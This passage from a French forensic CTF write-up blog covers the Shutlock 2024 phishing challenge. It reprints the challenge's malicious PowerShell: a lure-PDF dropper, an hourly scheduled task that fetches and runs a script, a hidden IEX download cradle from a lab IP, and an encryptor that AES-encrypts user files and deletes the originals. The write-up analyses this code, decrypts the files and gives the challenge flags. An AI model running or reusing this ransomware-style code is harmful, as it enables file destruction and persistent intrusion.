</span></span><span class="line"><span class="cl"><span class="nv">$fakePlaceOffer</span> <span class="p">=</span> <span class="s1">&#39;Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$TaskFile</span> <span class="p">=</span> <span class="s1">&#39;GetFilesInfo.ps1&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">#Get the lure pdf</span>
</span></span><span class="line"><span class="cl"><span class="nb">Invoke-WebRequest</span> <span class="n">-Uri</span> <span class="nv">$urlFakeJob</span> <span class="n">-OutFile</span> <span class="nv">$fakePlaceOffer</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Open the PDF file with the default PDF viewer</span>
</span></span><span class="line"><span class="cl"><span class="nb">Start-Process</span> <span class="n">-FilePath</span> <span class="nv">$fakePlaceOffer</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">### Schedule task</span>
</span></span><span class="line"><span class="cl"><span class="nv">$taskName</span> <span class="p">=</span> <span class="s2">&#34;IGotYourFileInfo&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Create the scheduled task that get some file information</span>
</span></span><span class="line"><span class="cl"><span class="nv">$cmd</span> <span class="p">=</span> <span class="s2">&#34;Invoke-WebRequest -Uri </span><span class="nv">$urlTask</span><span class="s2"> -OutFile </span><span class="nv">$TaskFile</span><span class="s2"> ; Start-Process -FilePath </span><span class="nv">$TaskFile</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="n">tn</span> <span class="nv">$taskName</span> <span class="p">/</span><span class="nb">sc </span><span class="n">HOURLY</span> <span class="p">/</span><span class="n">tr</span> <span class="nv">$cmd</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">#Encrypt some file</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">powershell</span><span class="p">.</span><span class="py">exe</span> <span class="n">-WindowStyle</span> <span class="n">hidden</span> <span class="n">-ExecutionPolicy</span> <span class="n">Bypass</span> <span class="n">-nologo</span> <span class="n">-noprofile</span>  <span class="n">-c</span> <span class="s2">&#34;&amp; {IEX ((New-Object Net.WebClient).DownloadString(&#39;http://</span><span class="nv">$IP_addr</span><span class="s2">/Holmes/Encrypt.ps1&#39;))}&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">## Change wallpaper</span>
</span></span><span class="line"><span class="cl"><span class="nv">$webClient</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">System</span><span class="p">.</span><span class="py">Net</span><span class="p">.</span><span class="py">WebClient</span>
</span></span><span class="line"><span class="cl"><span class="nv">$wallpaperUrl</span> <span class="p">=</span> <span class="s2">&#34;http://</span><span class="nv">$IP_addr</span><span class="s2">/Holmes/wallpaper.jpg&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$wallpaperPath</span> <span class="p">=</span> <span class="s2">&#34;</span><span class="nv">$env:USERPROFILE</span><span class="s2">\Desktop\wallpaper.jpg&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$webClient</span><span class="p">.</span><span class="py">DownloadFile</span><span class="p">(</span><span class="nv">$wallpaperUrl</span><span class="p">,</span> <span class="nv">$wallpaperPath</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">## Set the wallpaper</span>
</span></span><span class="line"><span class="cl"><span class="nv">$regKey</span> <span class="p">=</span> <span class="s2">&#34;HKCU:\Control Panel\Desktop&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">Set-ItemProperty</span> <span class="n">-Path</span> <span class="nv">$regKey</span> <span class="n">-Name</span> <span class="n">Wallpaper</span> <span class="n">-Value</span> <span class="nv">$wallpaperPath</span>
</span></span><span class="line"><span class="cl"><span class="nv">$wallpaperStyle</span> <span class="p">=</span> <span class="s2">&#34;3&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">Set-ItemProperty</span> <span class="n">-Path</span> <span class="nv">$regKey</span> <span class="n">-Name</span> <span class="n">WallpaperStyle</span> <span class="n">-Value</span> <span class="nv">$wallpaperStyle</span>
</span></span><span class="line"><span class="cl"><span class="nv">$tileWallpaper</span> <span class="p">=</span> <span class="s2">&#34;0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">Set-ItemProperty</span> <span class="n">-Path</span> <span class="nv">$regKey</span> <span class="n">-Name</span> <span class="n">TileWallpaper</span> <span class="n">-Value</span> <span class="nv">$tileWallpaper</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Forcer l&#39;actualisation du bureau</span>
</span></span><span class="line"><span class="cl"><span class="nb">Start-Process</span> <span class="n">-FilePath</span> <span class="s2">&#34;RUNDLL32.EXE&#34;</span> <span class="n">-ArgumentList</span> <span class="s2">&#34;USER32.DLL,UpdatePerUserSystemParameters ,1 ,True&#34;</span> <span class="n">-Wait</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">## Create text file</span>
</span></span><span class="line"><span class="cl"><span class="nv">$fileContent</span> <span class="p">=</span> <span class="s2">&#34;YOU HAVE BEEN INFECTED BY THE HAMOR FIND THE KEY TO RETREIVE YOUR FILE&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">Set-Content</span> <span class="s2">&#34;</span><span class="nv">$env:USERPROFILE</span><span class="s2">\Desktop\instructions.txt&#34;</span> <span class="n">-Value</span> <span class="nv">$fileContent</span>
</span></span><span class="line"><span class="cl"><span class="c"># Open text file</span>
</span></span><span class="line"><span class="cl"><span class="nb">Invoke-Item</span> <span class="s2">&#34;</span><span class="nv">$env:USERPROFILE</span><span class="s2">\Desktop\instructions.txt&#34;</span>
</span></span></code></pre></div><p>Ce script est celui qui a très certainement été lancé en premier, il va créer la tâche planifiée vu avant, chiffrer les fichiers, changer le fond d&rsquo;écran et créer le fichier instructions.txt.</p>
<p>La seule ligne qui nous intéresse pour déchiffrer les fichier est celle la:
<code>powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile  -c &quot;&amp; {IEX ((New-Object Net.WebClient).DownloadString('http://$IP_addr/Holmes/Encrypt.ps1'))}&quot;</code></p>
<p>Elle appelle le script <strong>Encrypt.ps1</strong> qui est en charge de chiffrer les fichiers sur le bureau.</p>
<h4 id="encryptps1">Encrypt.ps1</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ps1" data-lang="ps1"><span class="line"><span class="cl"><span class="c"># Define the directories to search for files</span>
</span></span><span class="line"><span class="cl"><span class="nv">$IP_addr</span> <span class="p">=</span> <span class="s1">&#39;172.21.195.17:5000&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$directories</span> <span class="p">=</span> <span class="vm">@</span><span class="p">(</span><span class="s2">&#34;</span><span class="nv">$env:USERPROFILE</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Define the file extensions to encrypt</span>
</span></span><span class="line"><span class="cl"><span class="nv">$extensions</span> <span class="p">=</span> <span class="vm">@</span><span class="p">(</span><span class="s2">&#34;.png&#34;</span><span class="p">,</span> <span class="s2">&#34;.doc&#34;</span><span class="p">,</span> <span class="s2">&#34;.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;.zip&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$keyUrl</span> <span class="p">=</span> <span class="s2">&#34;http://</span><span class="nv">$IP_addr</span><span class="s2">/Holmes/key.txt&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Download the key from the URL</span>
</span></span><span class="line"><span class="cl"><span class="nv">$keyContent64</span> <span class="p">=</span> <span class="nb">Invoke-WebRequest</span> <span class="n">-Uri</span> <span class="nv">$keyUrl</span> <span class="p">|</span> <span class="nb">Select-Object</span> <span class="n">-ExpandProperty</span> <span class="n">Content</span>
</span></span><span class="line"><span class="cl"><span class="nv">$keyContent</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">.</span><span class="py">GetString</span><span class="p">([</span><span class="no">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$keyContent64</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Use SHA-256 hash function to produce a 32-byte key</span>
</span></span><span class="line"><span class="cl"><span class="nv">$sha256</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Security.Cryptography.SHA256</span><span class="p">]::</span><span class="n">Create</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nv">$key</span> <span class="p">=</span> <span class="nv">$sha256</span><span class="p">.</span><span class="py">ComputeHash</span><span class="p">([</span><span class="no">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">.</span><span class="py">GetBytes</span><span class="p">(</span><span class="nv">$keyContent</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nv">$iv</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Security.Cryptography.RijndaelManaged</span><span class="p">]::</span><span class="n">Create</span><span class="p">().</span><span class="py">IV</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Sauvegarder l&#39;IV dans un fichier</span>
</span></span><span class="line"><span class="cl"><span class="nv">$ivFilePath</span> <span class="p">=</span> <span class="s2">&#34;</span><span class="nv">$env:USERPROFILE</span><span class="s2">\Documents\iv&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">System.IO.File</span><span class="p">]::</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="nv">$ivFilePath</span><span class="p">,</span> <span class="nv">$iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Create a new RijndaelManaged object with the specified key</span>
</span></span><span class="line"><span class="cl"><span class="nv">$rijndael</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">System</span><span class="p">.</span><span class="py">Security</span><span class="p">.</span><span class="py">Cryptography</span><span class="p">.</span><span class="py">RijndaelManaged</span>
</span></span><span class="line"><span class="cl"><span class="nv">$rijndael</span><span class="p">.</span><span class="py">Key</span> <span class="p">=</span> <span class="nv">$key</span>
</span></span><span class="line"><span class="cl"><span class="nv">$rijndael</span><span class="p">.</span><span class="py">IV</span> <span class="p">=</span> <span class="nv">$iv</span>
</span></span><span class="line"><span class="cl"><span class="nv">$rijndael</span><span class="p">.</span><span class="py">Mode</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Security.Cryptography.CipherMode</span><span class="p">]::</span><span class="n">CBC</span>
</span></span><span class="line"><span class="cl"><span class="nv">$rijndael</span><span class="p">.</span><span class="py">Padding</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Security.Cryptography.PaddingMode</span><span class="p">]::</span><span class="n">PKCS7</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Go through each directory</span>
</span></span><span class="line"><span class="cl"><span class="k">foreach</span> <span class="p">(</span><span class="nv">$dir</span> <span class="k">in</span> <span class="nv">$directories</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c"># Go through each file</span>
</span></span><span class="line"><span class="cl">    <span class="nb">Get-ChildItem</span> <span class="n">-Path</span> <span class="nv">$dir</span> <span class="n">-Recurse</span> <span class="p">|</span> <span class="nb">ForEach-Object</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c"># Check the file extension</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$extensions</span> <span class="o">-contains</span> <span class="nv">$_</span><span class="p">.</span><span class="n">Extension</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c"># Generate the new file name</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$newName</span> <span class="p">=</span> <span class="nv">$_</span><span class="p">.</span><span class="py">FullName</span> <span class="o">-replace</span> <span class="nv">$_</span><span class="p">.</span><span class="n">Extension</span><span class="p">,</span> <span class="s2">&#34;.shutlock&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c"># Read the file contents in bytes</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$contentBytes</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.IO.File</span><span class="p">]::</span><span class="n">ReadAllBytes</span><span class="p">(</span><span class="nv">$_</span><span class="p">.</span><span class="n">FullName</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c"># Create a new encryptor</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$encryptor</span> <span class="p">=</span> <span class="nv">$rijndael</span><span class="p">.</span><span class="py">CreateEncryptor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c"># Encrypt the content</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$encryptedBytes</span> <span class="p">=</span> <span class="nv">$encryptor</span><span class="p">.</span><span class="py">TransformFinalBlock</span><span class="p">(</span><span class="nv">$contentBytes</span><span class="p">,</span> <span class="mf">0</span><span class="p">,</span> <span class="nv">$contentBytes</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c"># Write the encrypted content to a file</span>
</span></span><span class="line"><span class="cl">            <span class="p">[</span><span class="no">System.IO.File</span><span class="p">]::</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="nv">$newName</span><span class="p">,</span> <span class="nv">$encryptedBytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c"># Delete the original file</span>
</span></span><span class="line"><span class="cl">            <span class="nb">Remove-Item</span> <span class="nv">$_</span><span class="p">.</span><span class="py">FullName</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Grâce aux commentaires, on comprend sans lire le code, a peu près ce qu&rsquo;il fait:</p>
<ul>
<li>Définis les extensions à cibler</li>
<li>Récupère la clé et la hash via SHA-256</li>
<li>Créé l&rsquo;iv et le sauvegarde dans un fichier</li>
<li>Créé un objet <strong>RijndaelManaged</strong></li>
<li>Chiffre les fichiers de manière récursive</li>
</ul>
<p>Maintenant que l&rsquo;ont sait ça, on a besoin de déterminer (même si on peut s&rsquo;en douter) quel méthode de chiffrement a été utilisée, on cherche alors ce qu&rsquo;est l&rsquo;objet <strong>RijndaelManaged</strong> en Powershell et on tombe sur cet <a href="https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.rijndael?view=net-8.0">article</a> qui nous explique que c&rsquo;est, grosso modo, de l&rsquo;<strong>AES</strong>.</p>
<p>L&rsquo;AES étant un algorithme de chiffrement symétrique, il n&rsquo;y a qu&rsquo;une seule clé pour les deux opérations, ont a alors tout ce qu&rsquo;il faut pour déchiffrer les fichiers.</p>
<h3 id="déchiffrement-des-fichiers">Déchiffrement des fichiers</h3>
<p>Pour faire ça, j&rsquo;ai écrit le script Python suivant:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">unpad</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">path_iv</span><span class="p">,</span><span class="n">path_key</span><span class="p">,</span><span class="n">file</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">iv</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">path_iv</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span><span class="s2">&#34;rb&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">b64_key</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">path_key</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">b64_key</span><span class="p">))</span><span class="o">.</span><span class="n">digest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">enc_file</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span><span class="s2">&#34;rb&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">dec_file</span><span class="o">=</span><span class="n">unpad</span><span class="p">(</span><span class="n">cipher</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">enc_file</span><span class="p">),</span><span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">file</span><span class="si">}</span><span class="s2">.dec&#34;</span><span class="p">,</span><span class="s2">&#34;wb&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">dec_file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">file</span><span class="o">=</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">iv</span> <span class="o">=</span> <span class="s2">&#34;path/to/iv&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="s2">&#34;path/to/key&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">decrypt</span><span class="p">(</span><span class="n">iv</span><span class="p">,</span><span class="n">key</span><span class="p">,</span><span class="n">file</span><span class="p">)</span>
</span></span></code></pre></div><p>Il va permettre de déchiffrer le fichier en argument et lui rajouter l&rsquo;extension <strong>.dec</strong>.</p>
<p>J&rsquo;utilise ce script pour déchiffrer (au hasard) l&rsquo;objet <strong>importante_recherche.shutlock</strong>? Afin de déterlinerquel est son extension d&rsquo;origine, on peut tout simplement utiliser la commande <strong>file</strong> sous Linux (ou a la main en regardant le <strong>Magic Byte</strong>):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">file importante_recherche.shutlock.dec
</span></span><span class="line"><span class="cl">importante_recherche.shutlock.dec: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
</span></span></code></pre></div><p>On a donc un <strong>.zip</strong>, la partie <strong>compression method=AES Encrypted</strong> nous indique qu&rsquo;il est protégé par un mot de passe.</p>
<p>J&rsquo;ai déchiffré tous les autres fichiers mais ils ne contiennent rien d&rsquo;important.</p>
<h3 id="mot-de-passe-de-larchive">Mot de passe de l&rsquo;archive</h3>
<p>Le système de fichier est déchiffré mais pourtant pas de flag en vue et une archive protégée par mot de passe, la suite logique est alors de la déchiffrer !</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2"><path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path></svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Il existe une technique permettant de craquer une archive chiffrée (très bien expliqué dans cet <a href="https://www.acceis.fr/craquage-darchives-chiffrees-pkzip-zip-zipcrypto-winzip-zip-aes-7-zip-rar/">article</a> de <a href="https://pwn.by/noraj/">Noraj</a>) mais cela fonctionne uniquement quand l&rsquo;archive est chiffrée avec <strong>ZipCrypto</strong>, ce qui n&rsquo;est pas nôtre cas ici.</div>
    </aside>
<p>Malheureusement, l&rsquo;archive ne nous fournir aucune piste sur ou chercher et, comme je le disais au dessus, aucun autre fichier dans le répertoire personnel de l&rsquo;utilisatrice n&rsquo;a d&rsquo;importance (on a une image de canard ainsi que des fichiers remplis de données aléatoire). Le seul endroit ou on n&rsquo;a pas encore regardé est le dossier <strong>AppData</strong>.</p>
<p>Ce dossier contient les fichiers de paramètres ainsi que pleins d&rsquo;autres informations utilisées par les applications installées sur le système.</p>
<p>Dans ce dossier, il était possible de regarder à beaucoup d&rsquo;endroits, mais un a pu me faire avance, il s&rsquo;agit de <strong>ActivitiesCache.db</strong>.</p>
<p>Cette base de données située dans <code>FileSystem/AppData/Local/ConnectedDevicesPlatform/L.clara/</code> enregistre les activitées de l&rsquo;utilisateur sur le poste, on peut l&rsquo;ouvir avec des outils tel que <a href="https://sqlitebrowser.org/">sqlitebrowser</a>.</p>
<p>En parcourant cette dernière, dans la table <strong>Activity</strong>, on finit par remarque à la ligne 14 l&rsquo;application <strong>Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe!App</strong>.</p>
<p>Ni une ni deux, on part explorer l&rsquo;arborescence <code>FileSystem/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/</code> (<strong>&hellip;/Packages/</strong> contenant les données de toutes les application).</p>
<p>On trouve alors la BDD <strong>plum.sqlite</strong> (contenue dans le dossier <strong>LocalState</strong>) stockant le contenu des notes:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">pwd importante recherche: s3cr3t_r3ch3rch3_pwd_!
</span></span></code></pre></div><p>Super ! On a enfin notre&hellip; flag ?</p>
<p>Bien que le mot de passe permet effectivement d&rsquo;ouvrir l&rsquo;archive, on obtient alors seulement deux fichiers, <strong>chiffrement.jpeg</strong> et <strong>recherches_algorithmes_de_chiffrement.pdf</strong> ne donnant aucun flag (et évidemment, <strong>SHLK{s3cr3t_r3ch3rch3_pwd_!}</strong> ne fonctionne pas).</p>
<h3 id="stéganographie">Stéganographie</h3>
<p>Ouvrir l&rsquo;archive étant une étape nécessaire dans la résolution, il est très peu probable que le flag soit caché ailleurs dans le dossier <strong>AppData</strong> ou dans la <strong>capture réseau</strong>, on va alors se concentrer sur les deux fichiers extraits sur lesquels il nous reste plus qu&rsquo;a faire de la stéganographie.</p>
<p>J&rsquo;ai alors choisit de commencer par l&rsquo;image car c&rsquo;est l&rsquo;endroit le plus répandu en stéganographie pour cacher des choses, et pour cela, plusieurs logiciels sont possibles:</p>
<ul>
<li>strings: Aucun résultat</li>
<li>binwalk: Aucun résultat</li>
<li>Exif: Aucun résultat</li>
<li>steghide: Fichier embarqué - flag.txt</li>
<li><a href="https://www.aperisolve.com">Aperisolve</a>: Fichier embarqué - flag.txt</li>
</ul>
<p>Steghide et Aperisolve ont trouvés un fichier <strong>flag.txt</strong>, on l&rsquo;extrait et on récupère le flag: <code>SHLK{4uri3z-v0us_cl1qu3r}</code>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Ce chal en deux parties était très cool car plutôt abordable en étant pas trop mal réaliste (et surtout avec du contexte !).</p>
<p>Seul la grosse différence de niveau entre les deux (alors qu&rsquo;il sont classés comme Medium) et la fin qui sort un peu du &ldquo;scope&rdquo; donné par l&rsquo;énoncé viennent noircir un peu le tableau.</p>
<p>En tout cas je remercie la DGSI, EPITA, les modérateurs Discord (cc Clar&rsquo;hacker !) ainsi que toutes les personnes ayant travaillés sur le CTF, je le ferais avec plaisir l&rsquo;année provhaine !</p>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://cybermeisam.medium.com/blue-team-system-live-analysis-part-8-windows-user-account-forensics-profile-folder-appdata-7f07a0870584">https://cybermeisam.medium.com/blue-team-system-live-analysis-part-8-windows-user-account-forensics-profile-folder-appdata-7f07a0870584</a></li>
<li><a href="https://medium.com/@joeforensics/digital-forensics-windows-10-timeline-activitescache-db-82b4bc9f715a">https://medium.com/@joeforensics/digital-forensics-windows-10-timeline-activitescache-db-82b4bc9f715a</a></li>
<li><a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics">https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics</a></li>
</ul>
]]></content></item><item><title>Shutlock 2024 - Enquête sur le phishing des JO : Retracer l'attaque 1/2</title><link>https://0xonirix.fr/posts/shutlock2024_phishing_1-2/shutlock2024_phishing_1-2/</link><pubDate>Fri, 12 Jul 2024 08:20:30 +0200</pubDate><guid>https://0xonirix.fr/posts/shutlock2024_phishing_1-2/shutlock2024_phishing_1-2/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[<div>
  <img src="/posts/shutlock2024_phishing_1-2/images/shutlock.png" alt="Logo_Shutlock">
</div>
<p>Ceci est le write-up de la première partie du challenge Forensic <strong>Enquête sur le phishing des JO</strong> du CTF <a href="https://shutlock.fr/">Shutlock</a> édition 2024 organisé par la DGSI et EPITA.</p>
<h2 id="énoncé">Énoncé</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">Mike O&#39;Soft a été averti d&#39;une campagne de phishing par le groupe THE HAMOR. Une des personnes ayant reçu le mail de phishing en question, s&#39;est faite piegée.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vous avez pour mission de mener l&#39;enquête. Heureusement pour vous, les équipes du ministère ont réalisé un dump mémoire sur la machine. Dans la suite de votre enquête, un dump réseau vous sera confié.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Sauriez-vous retracer ce qu&#39;il s&#39;est passé sur ce poste ?
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Pour résoudre ce challenge, vous devez répondre aux questions suivantes :
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1 - Quel est le nom du raccourci malveillant ?
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2 - Quel est le nom de la scheduled task créé ?
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3 - Quel script est lancé par cette scheduled task ?
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Format du flag SHLK{&#39;nom-fichier&#39;-&#39;scheduled task-&#39;script&#39;}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Exemple:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1 - File : ctf\shutlock.test
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2 - scheduled task : ScheduleTaskName
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3 - script : ThisIsTheScript.sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">SHLK{shutlock.test-ScheduleTaskName-ThisIsTheScript.sh}
</span></span></code></pre></div><p>Il nous est alors donné un dump mémoire (<strong>dump.raw</strong>) ainsi que le screenshot du bureau du PC ci-dessous:</p>
<div>
  <img src="/posts/shutlock2024_phishing_1-2/images/Ordi.png" alt="Ordi.png">
</div>
<hr>
<h2 id="investigation">Investigation</h2>
<p>D&rsquo;après l&rsquo;énoncé, on sait que la personne à ouvert un mail contenant un raccourcis piégé, raccourcis qui a créé une tâche planifiée lançant un script malveillant.</p>
<p>D&rsquo;après le screenshot, le raccourcis serait lié à un PDF de tirage au sort pour les JO 2024 situé dans le dossier <strong>Downloads</strong>.</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2"><path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path></svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Je vais ici utiliser <a href="https://github.com/volatilityfoundation/volatility3">Volatility3</a> pour parcourir la mémoire.</div>
    </aside>
